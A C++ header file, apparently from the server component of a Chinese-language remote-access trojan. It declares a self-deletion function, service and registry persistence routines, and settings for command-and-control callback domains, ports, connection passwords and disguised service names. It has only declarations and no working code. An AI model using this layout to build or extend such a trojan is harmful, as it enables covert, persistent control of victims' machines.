// stdafx.h : include file for standard system include files, // or project specific include files that are used frequently, but // are changed infrequently // #if !defined(AFX_STDAFX_H__1DD676CB_55D6_4485_812A_D85014872E24__INCLUDED_) #define AFX_STDAFX_H__1DD676CB_55D6_4485_812A_D85014872E24__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #define _WIN32_WINNT 0x0500 #include #include "afxinet.h" // Insert your headers here #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers #include //#include //#include "MyFunc.h" #include "ClientSocket.h" #include #pragma comment(lib,"shlwapi.lib") BOOL DeleteMe(); // 自删除 void SetGroup(LPCTSTR lpServiceName, LPCTSTR lpGroupName); //修改分组 void WriteRegExg(LPCTSTR lpServiceName ,LPTSTR lpSame ,LPCTSTR lpHostID); // struct DLLSERVER_INFO // { // char Domain[100]; //上线地址 // char Port[32]; //上线端口 // char Version[100]; //上线版本 // char Group[100]; //上线分组 // char SocketHead[100]; //连接密码 // char SerName[100]; //服务名称 // char Serdisplay[128]; //显示名称 // char Serdesc[256]; //服务描述 // TCHAR szGetGroup[256]; //分组唯一标识 // BOOL bServer; //是服务启动 // BOOL bRuns; //是写启动项 // BOOL bRunOnce; //是否为绿色安装 // TCHAR URL[256]; //控件地址 // }; extern UINT nConnect; //上线类型 extern LPCTSTR lpConnects[2]; //上线域名 extern DWORD szdwPort[2]; //上线端口 // TODO: reference additional headers your program requires here //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. #endif // !defined(AFX_STDAFX_H__1DD676CB_55D6_4485_812A_D85014872E24__INCLUDED_)